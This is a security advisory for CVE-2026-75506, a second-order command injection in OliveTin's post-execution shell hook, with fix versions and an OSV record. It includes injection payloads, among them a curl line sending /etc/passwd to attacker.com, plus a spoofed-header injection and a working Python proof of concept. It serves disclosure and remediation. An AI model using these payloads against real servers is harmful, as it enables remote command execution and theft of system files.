CVE-2026-75506: OliveTin Second-Order OS Command Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-vc6p-m6vx-6cwq
CVSS 6.6
CWE-78 CWE-74
Published
Advisory Summary

CVE-2026-75506 is a MODERATE (CVSS 6.6) second-order os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting OliveTin libraries in the Go ecosystem. The issue involves second-order os command injection via shellaftercompleted. Remediation is available by upgrading affected packages to version 0.0.0-20260728155752-e5d29b68da66.

CVE-2026-75506 at a Glance

CVE Identifier CVE-2026-75506
GHSA Identifier GHSA-vc6p-m6vx-6cwq
Severity MODERATE
CVSS v3.1 Base Score 6.6
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product OliveTin
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-75506

To remediate this vulnerability, upgrade all affected OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OliveTin/OliveTin fixed: 0.0.0-20260728155752-e5d29b68da66
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260728155752-e5d29b68da66
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OliveTin/OliveTin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-75506, inspect your project dependencies for OliveTin:

inspect dependencies for github.com/OliveTin/OliveTin

Analyze the terminal output to locate any version of OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260728155752-e5d29b68da66), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary OliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell. This is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables. ## Affected Versions - All versions containing `shellAfterCompleted` functionality (current codebase through latest) ## Details ### Vulnerable Code Path In `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands: ```go func stepExecAfter(req *ExecutionRequest) bool { if req.Binding.Action.ShellAfterCompleted == "" { return true } // These variables are injected WITHOUT any type checking or sanitization args := map[string]string{ "output": req.logEntry.Output, // Arbitrary command stdout/stderr "exitCode": fmt.Sprintf("%v", req.logEntry.ExitCode), "ot_executionTrackingId": req.TrackingID, "ot_username": req.AuthenticatedUser.Username, // User-controlled via trusted headers } // Template rendered with unsanitized args finalParsedCommand, err := tpl.ParseTemplateWithActionContext( req.Binding.Action.ShellAfterCompleted, req.Binding.Entity, args, ) // Directly passed to sh -c — NO safety check cmd := wrapCommandInShell(ctx, finalParsedCommand) // ... } ``` The `wrapCommandInShell` function (in `executor_unix.go`) executes: ```go func wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd { return exec.CommandContext(ctx, "sh", "-c", finalParsedCommand) } ``` ### Why This Bypasses Existing Protections The main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode. **`stepExecAfter` calls none of these checks.** The `output` variable is: - Not a declared argument with a type — it's internally created - Not validated against any regex or type system - Not passed through `checkShellArgumentSafety` - Directly interpolated into a shell command template A `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location: ``` executor.go:693: if err := checkShellArgumentSafety(req); err != nil { ``` This is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`. ### Injection Vectors #### Vector 1: Output Reflection If a primary action echoes user-controlled input: ```yaml actions: - title: Lookup User shell: "echo 'User: {{ .Arguments.username }}'" shellAfterCompleted: "audit-log '{{ .Arguments.output }}'" arguments: - name: username type: ascii_identifier ``` While `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`. #### Vector 2: Exec Mode Output Injection Actions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell: ```yaml actions: - title: Read External Data exec: - cat - /shared/data/{{ .Arguments.filename }} shellAfterCompleted: "process-result '{{ .Arguments.output }}'" arguments: - name: filename type: ascii_identifier ``` If `/shared/data/report` contains text like: ``` '; curl http://attacker.com/exfil?data=$(cat /etc/passwd) # ``` The `shellAfterCompleted` becomes: ```bash process-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #' ``` This executes arbitrary commands as the OliveTin process user. #### Vector 3: Username Injection via Trusted Headers When trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization: ```yaml actions: - title: Any Action shell: "echo ok" shellAfterCompleted: "logger 'Action completed by {{ .Arguments.ot_username }}'" ``` An attacker sets: ``` X-Remote-User: '; id > /tmp/pwned # ``` The `shellAfterCompleted` becomes: ```bash logger 'Action completed by '; id > /tmp/pwned #' ``` This chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands. ## PoC ### Prerequisites - OliveTin instance with an action configured with `shellAfterCompleted` - The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}` ### Config ```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "DEBUG" checkForUpdates: false actions: - title: Process File id: process-file exec: - cat - "/tmp/olivetin-data/{{ .Arguments.filename }}" shellAfterCompleted: "echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log" arguments: - name: filename type: ascii_identifier ``` ### Step 1: Create a malicious data file ```bash # On the server, create a file with shell injection payload mkdir -p /tmp/olivetin-data echo "normal_data'; touch /tmp/PWNED; echo '" > /tmp/olivetin-data/report ``` ### Step 2: Execute the action normally ```bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -d '{"bindingId":"process-file","arguments":[{"name":"filename","value":"report"}]}' ``` ### Step 3: Verify injection ```bash ls -la /tmp/PWNED # If the file exists, the injection was successful ``` **Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders: ```bash echo 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log ``` This executes `touch /tmp/PWNED` as a second command. ### Step 4: Username injection (with trusted headers) ```yaml # Add to config authHttpHeaderUsername: "X-Remote-User" ``` ```bash curl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \ -H 'Content-Type: application/json' \ -H "X-Remote-User: test'; touch /tmp/PWNED2; echo '" \ -d '{"bindingId":"some-action","arguments":[]}' ``` If `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes. ### Python PoC ```python #!/usr/bin/env python3 """PoC: Second-Order Command Injection via shellAfterCompleted output variable. Distinct from CVE-2026-27626 (password type injection in primary execution). This exploits the post-execution step which has zero argument safety checks. """ import requests import time import os TARGET = "http://127.0.0.1:1337" BINDING_ID = "process-file" def setup_payload(): """Create a data file containing shell injection payload.""" os.makedirs("/tmp/olivetin-data", exist_ok=True) with open("/tmp/olivetin-data/exploit", "w") as f: f.write("data'; id > /tmp/rce-proof; echo '") print("[+] Created malicious data file") def trigger_action(): """Execute the action that reads the malicious file.""" resp = requests.post( f"{TARGET}/api/StartActionAndWait", json={ "bindingId": BINDING_ID, "arguments": [{"name": "filename", "value": "exploit"}] }, headers={"Content-Type": "application/json"} ) print(f"[+] Action response: {resp.status_code}") return resp.json() def verify_rce(): """Check if the injected command executed.""" time.sleep(2) if os.path.exists("/tmp/rce-proof"): with open("/tmp/rce-proof") as f: print(f"[!] RCE CONFIRMED: {f.read().strip()}") return True else: print("[-] /tmp/rce-proof not found") return False if __name__ == "__main__": setup_payload() result = trigger_action() print(f"[*] Action output: {result}") verify_rce() ``` ## Impact - **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user - **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username` - **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened - **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted` ## Remediation 1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables 2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`) 3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely 4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider

CVE-2026-75506 Affected OliveTin Versions

1 component(s)
Fixed Versions:
0.0.0-20260728155752-e5d29b68da66
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OliveTin/OliveTin
Go
< 0.0.0-20260728155752-e5d29b68da66
0.0.0-20260728155752-e5d29b68da66

References

Frequently Asked Questions

What is CVE-2026-75506?
CVE-2026-75506 is a security vulnerability in OliveTin involving Second-Order OS Command Injection via shellAfterCompleted under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which OliveTin versions are affected?
Affected versions include releases prior to 0.0.0-20260728155752-e5d29b68da66 across affected packages: github.com/OliveTin/OliveTin.
What version fixes CVE-2026-75506?
Upgrading to 0.0.0-20260728155752-e5d29b68da66 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OliveTin/OliveTin affected?
Yes, github.com/OliveTin/OliveTin is affected in releases prior to 0.0.0-20260728155752-e5d29b68da66. Upgrade your dependency to 0.0.0-20260728155752-e5d29b68da66 or later.
What is the CVSS score of CVE-2026-75506?
CVE-2026-75506 has a CVSS v3.1 base score of 6.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-75506?
CVE-2026-75506 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-75506?
Run the dependency tree command: 'inspect dependencies for github.com/OliveTin/OliveTin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vc6p-m6vx-6cwq",
  "modified" : "2026-11-18T21:55:09Z",
  "published" : "2026-11-18T21:55:09Z",
  "aliases" : [ "CVE-2026-75506" ],
  "summary" : "OliveTin: Second-Order OS Command Injection via shellAfterCompleted",
  "details" : "## Summary\n\nOliveTin's `shellAfterCompleted` post-execution hook injects unsanitized variables — including arbitrary command output (`output`), the authenticated username (`ot_username`), and the exit code (`exitCode`) — directly into a shell command template processed by `sh -c`. Unlike the main action's argument handling, **no `checkShellArgumentSafety` validation is applied** to these variables. An attacker who can influence the output of a command (e.g., via user-supplied arguments that reflect in stdout, or through trusted-header username spoofing) can inject arbitrary OS commands into the post-execution shell.\n\nThis is a **distinct** finding from CVE-2026-27626 (OS command injection via `password` type in webhooks). That CVE addressed argument types bypassing shell safety checks in the primary execution step. This vulnerability exists in the **post-execution step** (`stepExecAfter`), which has **zero** safety checks on any of its template variables.\n\n## Affected Versions\n\n- All versions containing `shellAfterCompleted` functionality (current codebase through latest)\n\n## Details\n\n### Vulnerable Code Path\n\nIn `service/internal/executor/executor.go`, the `stepExecAfter` function handles post-execution commands:\n\n```go\nfunc stepExecAfter(req *ExecutionRequest) bool {\n    if req.Binding.Action.ShellAfterCompleted == \"\" {\n        return true\n    }\n\n    // These variables are injected WITHOUT any type checking or sanitization\n    args := map[string]string{\n        \"output\":                 req.logEntry.Output,           // Arbitrary command stdout/stderr\n        \"exitCode\":               fmt.Sprintf(\"%v\", req.logEntry.ExitCode),\n        \"ot_executionTrackingId\": req.TrackingID,\n        \"ot_username\":            req.AuthenticatedUser.Username, // User-controlled via trusted headers\n    }\n\n    // Template rendered with unsanitized args\n    finalParsedCommand, err := tpl.ParseTemplateWithActionContext(\n        req.Binding.Action.ShellAfterCompleted,\n        req.Binding.Entity,\n        args,\n    )\n\n    // Directly passed to sh -c — NO safety check\n    cmd := wrapCommandInShell(ctx, finalParsedCommand)\n    // ...\n}\n```\n\nThe `wrapCommandInShell` function (in `executor_unix.go`) executes:\n\n```go\nfunc wrapCommandInShell(ctx *ExecutionContext, finalParsedCommand string) *exec.Cmd {\n    return exec.CommandContext(ctx, \"sh\", \"-c\", finalParsedCommand)\n}\n```\n\n### Why This Bypasses Existing Protections\n\nThe main action's shell commands go through `checkShellArgumentSafety` (called from `handleShellBranch` at line 693 of executor.go), which blocks dangerous argument types like `password`, `url`, `email`, `raw_string_multiline`, and `very_dangerous_raw_string` from shell mode.\n\n**`stepExecAfter` calls none of these checks.** The `output` variable is:\n- Not a declared argument with a type — it's internally created\n- Not validated against any regex or type system\n- Not passed through `checkShellArgumentSafety`\n- Directly interpolated into a shell command template\n\nA `grep` for `checkShellArgumentSafety` in the codebase confirms it is **only** invoked at one location:\n\n```\nexecutor.go:693: if err := checkShellArgumentSafety(req); err != nil {\n```\n\nThis is inside `handleShellBranch` (the primary action execution), **not** in `stepExecAfter`.\n\n### Injection Vectors\n\n#### Vector 1: Output Reflection\n\nIf a primary action echoes user-controlled input:\n\n```yaml\nactions:\n  - title: Lookup User\n    shell: \"echo 'User: {{ .Arguments.username }}'\"\n    shellAfterCompleted: \"audit-log '{{ .Arguments.output }}'\"\n    arguments:\n      - name: username\n        type: ascii_identifier\n```\n\nWhile `ascii_identifier` constrains the direct argument, the command output itself is the injection vector. If the action processes external data (files, APIs, databases) and that data contains shell metacharacters, the output flows unsanitized into `shellAfterCompleted`.\n\n#### Vector 2: Exec Mode Output Injection\n\nActions using `exec` mode (array form) safely handle arguments in the primary command but the **output** still flows to `shellAfterCompleted` through a shell:\n\n```yaml\nactions:\n  - title: Read External Data\n    exec:\n      - cat\n      - /shared/data/{{ .Arguments.filename }}\n    shellAfterCompleted: \"process-result '{{ .Arguments.output }}'\"\n    arguments:\n      - name: filename\n        type: ascii_identifier\n```\n\nIf `/shared/data/report` contains text like:\n```\n'; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nprocess-result ''; curl http://attacker.com/exfil?data=$(cat /etc/passwd) #'\n```\n\nThis executes arbitrary commands as the OliveTin process user.\n\n#### Vector 3: Username Injection via Trusted Headers\n\nWhen trusted header authentication is used (see Finding 04), the `ot_username` variable comes directly from an HTTP header with no sanitization:\n\n```yaml\nactions:\n  - title: Any Action\n    shell: \"echo ok\"\n    shellAfterCompleted: \"logger 'Action completed by {{ .Arguments.ot_username }}'\"\n```\n\nAn attacker sets:\n```\nX-Remote-User: '; id > /tmp/pwned #\n```\n\nThe `shellAfterCompleted` becomes:\n```bash\nlogger 'Action completed by '; id > /tmp/pwned #'\n```\n\nThis chains Findings 04 and 05: trusted header spoofing enables username-based injection into post-execution commands.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with an action configured with `shellAfterCompleted`\n- The `shellAfterCompleted` template references `{{ .Arguments.output }}` or `{{ .Arguments.ot_username }}`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n  - title: Process File\n    id: process-file\n    exec:\n      - cat\n      - \"/tmp/olivetin-data/{{ .Arguments.filename }}\"\n    shellAfterCompleted: \"echo '{{ .Arguments.output }}' >> /tmp/olivetin-audit.log\"\n    arguments:\n      - name: filename\n        type: ascii_identifier\n```\n\n### Step 1: Create a malicious data file\n\n```bash\n# On the server, create a file with shell injection payload\nmkdir -p /tmp/olivetin-data\necho \"normal_data'; touch /tmp/PWNED; echo '\" > /tmp/olivetin-data/report\n```\n\n### Step 2: Execute the action normally\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"bindingId\":\"process-file\",\"arguments\":[{\"name\":\"filename\",\"value\":\"report\"}]}'\n```\n\n### Step 3: Verify injection\n\n```bash\nls -la /tmp/PWNED\n# If the file exists, the injection was successful\n```\n\n**Explanation**: The `cat` command (exec mode) safely reads the file. The output `normal_data'; touch /tmp/PWNED; echo '` is captured. Then `shellAfterCompleted` renders:\n```bash\necho 'normal_data'; touch /tmp/PWNED; echo '' >> /tmp/olivetin-audit.log\n```\nThis executes `touch /tmp/PWNED` as a second command.\n\n### Step 4: Username injection (with trusted headers)\n\n```yaml\n# Add to config\nauthHttpHeaderUsername: \"X-Remote-User\"\n```\n\n```bash\ncurl -s -X POST http://127.0.0.1:1337/api/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -H \"X-Remote-User: test'; touch /tmp/PWNED2; echo '\" \\\n  -d '{\"bindingId\":\"some-action\",\"arguments\":[]}'\n```\n\nIf `shellAfterCompleted` uses `{{ .Arguments.ot_username }}`, the injection executes.\n\n### Python PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Second-Order Command Injection via shellAfterCompleted output variable.\n\nDistinct from CVE-2026-27626 (password type injection in primary execution).\nThis exploits the post-execution step which has zero argument safety checks.\n\"\"\"\n\nimport requests\nimport time\nimport os\n\nTARGET = \"http://127.0.0.1:1337\"\nBINDING_ID = \"process-file\"\n\ndef setup_payload():\n    \"\"\"Create a data file containing shell injection payload.\"\"\"\n    os.makedirs(\"/tmp/olivetin-data\", exist_ok=True)\n    with open(\"/tmp/olivetin-data/exploit\", \"w\") as f:\n        f.write(\"data'; id > /tmp/rce-proof; echo '\")\n    print(\"[+] Created malicious data file\")\n\ndef trigger_action():\n    \"\"\"Execute the action that reads the malicious file.\"\"\"\n    resp = requests.post(\n        f\"{TARGET}/api/StartActionAndWait\",\n        json={\n            \"bindingId\": BINDING_ID,\n            \"arguments\": [{\"name\": \"filename\", \"value\": \"exploit\"}]\n        },\n        headers={\"Content-Type\": \"application/json\"}\n    )\n    print(f\"[+] Action response: {resp.status_code}\")\n    return resp.json()\n\ndef verify_rce():\n    \"\"\"Check if the injected command executed.\"\"\"\n    time.sleep(2)\n    if os.path.exists(\"/tmp/rce-proof\"):\n        with open(\"/tmp/rce-proof\") as f:\n            print(f\"[!] RCE CONFIRMED: {f.read().strip()}\")\n        return True\n    else:\n        print(\"[-] /tmp/rce-proof not found\")\n        return False\n\nif __name__ == \"__main__\":\n    setup_payload()\n    result = trigger_action()\n    print(f\"[*] Action output: {result}\")\n    verify_rce()\n```\n\n## Impact\n\n- **Remote Code Execution**: Arbitrary commands execute as the OliveTin process user\n- **Chained with Finding 04**: Trusted header spoofing enables injection via `ot_username`\n- **Bypass of CVE-2026-27626 fix**: The fix for that CVE only addressed `checkShellArgumentSafety` in the primary execution step; the post-execution step was not hardened\n- **Exec mode bypass**: Actions using the safe `exec` mode (array form) for the primary command can still be exploited through their output flowing to the shell-based `shellAfterCompleted`\n\n## Remediation\n\n1. **Apply `checkShellArgumentSafety`** (or equivalent) to `stepExecAfter` variables\n2. **Shell-escape the `output`, `ot_username`, and `exitCode` values** before template substitution (e.g., using `shellescape.Quote()`)\n3. **Consider adding an exec-mode variant** for `shellAfterCompleted` to avoid shell interpretation entirely\n4. **Sanitize `ot_username`** to reject shell metacharacters regardless of the auth provider",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260728155752-e5d29b68da66"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-vc6p-m6vx-6cwq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-75506"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/pull/1070"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/pull/1088"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/4ef86abee7aac4e4ec4a3200c7ca491ca3501065"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/e5d29b68da66fd7f99072d6afd336dee2c28876c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.18.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-18T21:55:09Z",
    "nvd_published_at" : "2026-11-18T21:18:02Z"
  }
}